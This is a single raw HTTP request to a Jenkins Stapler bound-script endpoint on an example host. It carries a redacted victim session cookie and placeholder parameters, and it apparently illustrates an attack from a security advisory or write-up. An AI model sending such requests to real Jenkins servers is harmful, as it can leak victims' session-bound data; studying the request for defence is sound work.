GET /$stapler/bound/script/whatever?var=varname&methods=methodname HTTP/1.1
Host: jenkins.example.test
Cookie: victim-session (redacted)